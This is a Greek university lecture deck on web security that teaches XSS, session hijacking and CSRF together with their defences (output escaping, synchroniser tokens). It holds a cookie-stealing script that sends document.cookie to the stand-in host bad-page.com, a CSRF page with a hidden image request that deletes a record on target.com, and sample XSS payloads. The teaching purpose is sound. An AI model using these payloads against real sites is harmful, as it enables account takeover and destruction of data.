Ασφάλεια Διαδικτυακών Εφαρμογών XSS και CSRF Γιώργος Χατζησωφρονίου 12/11/2012 Πανεπιστήμιο Πειραιώς Τμήμα Πληροφορικής Στόχοι παρουσίασης ● ● Εξερεύνηση βασικών προβλημάτων ασφαλείας Παρουσίαση γνωστών τεχνικών επίθεσης web εφαρμογών. ● ● ● ● ● ● Reflected XSS Stored XSS Session Hijacking CSRF Όλα μέσα από παραδείγματα Παρουσίαση και κατανόηση των βασικών πρακτικών ασφαλείας κωδικών. ● ● Φιλτράρισμα εσοχών κειμένου Συγχρονιστής των token Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών XSS ● Ένας απλός PHP κώδικας: <p><?php echo “Welcome, “ . $_POST[ “username” ] . “!”; ?></p> Αν έχω username 'sophron', παράγεται ο ακόλουθος HTML κώδικας: ● <p>Welcome, sophron!</p> ● Τί θα γίνει αν έχω username '<script>alert('XSS');</script>'; <p>Welcome, <script>alert('XSS');</script></p> Το script αποτελεί μέρος της σελίδας και θα εκτελεστεί κανονικά! Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών XSS ● Cross Site Scripting ● Ουσιαστικά, πρόκειται για client-side injection ● ● Εισάγουμε κακόβουλο κώδικα (payload) μέσα στον κώδικα της ιστοσελίδας. Ο κώδικας είναι HTML / JS ώστε να αποτελέσει μέρος της σελίδας που παράγεται. O κώδικας εισάγεται σε είσοδο χρήστη (inputs) ή στα URLS. ● ● Δύο βασικές κατηγορίες: Reflected και Stored. 2 Διαδικτυακή εφαρμογή Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών 1 Reflected XSS ● Τα ίδια τα θύματα στέλνουν τον κακόβουλο κώδικα. ● ● Ο κώδικας αξιοποιεί τις GET μεταβλητές. Αρκεί να πειστούν τα θύματα να πιέσουν σε ένα σύνδεσμο που έχει ενσωματωμένο τον κακόβουλο κώδικα. Οι υπηρεσίες σμίκρυνσης URL το κάνουν πιο εύκολο (κρύβουν τον κακόβουλο κώδικα). ● Για παράδειγμα, το http://good-site.com?name=”<script>alert('Owned')</script>” μετατρέπεται σε http://goo.gl/bDtCj ● ● (Παράδειγμα) Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών Stored XSS ● Ο κακόβουλος κώδικας αποθηκεύεται στη βάση δεδομένων και φορτώνεται αυτόματα. ● ● ● Εισάγεται σε HTML φόρμες αξιοποιώντας τις POST μεταβλητές. Εκτελείται σε όλους τους χρήστες. (Παράδειγμα) Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών Session Hijacking Το να αλλοιώσουμε την εμφάνιση του site (defacement) είναι το λιγότερο. ● Μπορούμε να κλέψουμε το session ID (cookie) από το site που ήρθε ο χρήστης. ● ● ● ● cookie == ταυτοποίηση Έχοντας το cookie έχουμε πρόσβαση στο λογαριασμό του χρήστη. Θα χρησιμοποιήσουμε την document.cookie της Javascript. ● Εμφανίζει τα cookies της σελίδας που τρέχει. Session ID = ACF3D35F216AAEFC Διαδικτυακή εφαρμογή n Sessio ID C AAEF 6 1 2 F 3D35 = ACF Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών Session Hijacking ● Το σχέδιο ● ● ● ● Ο επιτιθέμενος επιτυγχάνει XSS στη σελίδα trusted-website.com. Ο χρήστης εισέρχεται στη σελίδα trusted-website.com και αυθεντικοποιείται. Εκτελείται ο κακόβουλος κώδικας που στέλνει τα cookies του χρήστη σε μία κακόβουλη σελίδα bad-page.com Ο κακόβουλος κώδικας <script type=“text/javascript”> var img = document.createElement( “img” ); img.src = “http://bad-page.com/steal.php?cookie=” + document.cookie; document.appendChild( img ); </script> Όπου το steal.php στο bad-page.com του επιτιθέμενου αποθηκεύει τα cookies σε ένα αρχείο. 2 trusted-website.com 2 bad-page.com Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών 1 Αποφυγή XSS ● ● Θέλουμε να αποτρέψουμε τον κώδικα στις εσοχές κειμένου (inputs). Φιλτράρουμε τις εσοχές. ● ● Κάνουμε escape τους χαρακτήρες που παραπέμπουν σε κώδικα με entities. Για παράδειγμα, '<', θα γίνει < Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών Αποφυγή XSS <script>alert('XSS');</script> <script>alert('XSS');</script> <p>Welcome, <script>alert('XSS');</script></p> <p>Welcome, <script>alert('XSS');</script></p> Εμφανίζεται αλλά δεν εκτελείται. Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών Αποφυγή XSS Τα frameworks φροντίζουν από μόνα τους για το φιλτράρισμα των inputs (automatic escaping). ● ● Αυτή η λειτουργία δεν πρέπει να απενεργοποιηθεί Οι γλώσσες διαδικτυακού προγραμματισμού έχουν έτοιμες συναρτήσεις γι' αυτή τη δουλειά. ● ● Για παράδειγμα, η PHP έχει την htmlspecialchars: <p><?php echo “Welcome, “ . htmlspecialchars($_POST[ “username” ]) . “!”; ?></p> Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών Πλέον φιλτράρω τις εσοχές κειμένου στα input μου και απογεύγω τυχόν XSS επιθέσεις. :) Καλή δουλειά! Για ρίξε μια ματιά σε αυτή την αστεία εικόνα: http://unknown-site.com/Evj83 Χαχαχαχαχαχαχαχα. Πολύ αστεία πραγματικά! Ωχ! Για κάποιο λόγο διαγράφτηκαν όλοι οι χρήστες της εφαρμογής μου! Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών CSRF ● Cross Site Request Forgery ● Επιτυγχάνεται η εκτέλεση μη-εξουσιοδοτημένων εντολών. ● Πείθουμε το χρήστη να επισκεφτεί μία δικιά μας κακόβουλη σελίδα η οποία με τη σειρά της αποκτά πρόσβαση (μέσω του χρήστη) σε μία σελίδα που ο χρήστης έχει ήδη αυθεντικοποιηθεί. 3 Κακόβουλη σελίδα Έμπιστη σελίδα 1 Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών 2 CSRF ● Η μέθοδος αποτελείται από δύο βήματα: 1) Βρίσκουμε ποια εντολή θέλουμε να εκτελεστεί στην έμπιστη σελίδα. ● ● Βλέπουμε ποιος header εκτελεί αυτή την εντολή. Το Live HTTP Headers είναι ένα πολύ χρήσιμο εργαλείο γι' αυτή τη δουλειά. 2) Πείθουμε το χρήστη (social engineering) να μπει σε μία δικιά μας σελίδα η οποία και θα εκτελέσει την εντολή που φτιάξαμε στο πρώτο βήμα. ● Απαραίτητο φυσικά είναι ο χρήστης να έχει αυθεντικοποιηθεί στην έμπιστη σελίδα πρώτα. Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών CSRF ● Δείγμα CSRF κώδικα: <html> <img src="http://www.pnl.gov/breakthroughs/images/cyber_security.jpg" /> <img src="http://www.cbc.ca/news/background/computer-security/gfx/titlephoto.jpg" /> <img src="http://www.ieee-security.org/Cipher/IMAGES/HORSE-nosky-red-trans2.gif" /> <img src="http://www.freedomsecurity.us/Security%20Badge.jpg" /> <img src="http://www.target.com/index.php?page=admin&act=members&func=del&id=1/> </html> Το 5ο image εκτελεί τη μη-εξουσιοδοτημένη εντολή. Αν εκτελέσει τον παραπάνω κώδικα o administrator του www.target.com αφού έχει αυθεντικοποιηθεί, θα διαγράψει την πρώτη εγγραφή της εφαρμογής του. ● ● (Παράδειγμα) Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών Συγχρονιστής των token ● Η πιο συνηθισμένη άμυνα για CSRF. ● Η μέθοδος σε τρία βήματα: 1) Όταν ο χρήστης συνδέεται στο σύστημα, προσθέτουμε ένα τυχαίο αλφαριθμητικό (token) στο session του. 2) Για κάθε request, το token τοποθετείτε στη φόρμα που θέλουμε να προστατέψουμε όταν αυτή αποστέλλεται. 3) Ο συγχρονιστής, συγκρίνει το token που στάλθηκε με το token που είναι στο session του χρήστη. Αν τα tokens δεν είναι ίδια, η διεργασία της φόρμας ακυρώνεται. Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών Συγχρονιστής των token ● Ο επιτιθέμενος θα χρειαστεί και το token για να πετύχει η επίθεσή του. πιστοποιείται Server $_SESSION['token'] = 4fe420822903f560cd81d Server $_SESSION['token'] == $_POST['token'] κατοχυρώνει μία φόρμα O server φροντίζει στη φόρμα να σταλθεί και το μοναδικό token του χρήστη. Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών Συγχρονιστής των token ● ● Τα περισσότερα frameworks υλοποιούν ένα συγχρονιστή των tokens από μόνοι τους. Σε άλλες περιπτώσεις υπάρχουν διάφορες open source λύσεις που πρέπει να ενσωματωθούν. Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών Τώρα νοιώθω αρκετά πιο ασφαλής! :) Ερωτήσεις; Ασφάλεια Web Εφαρμογών - Ασφαλής αποθήκευση κωδικών
© Copyright 2024 Paperzz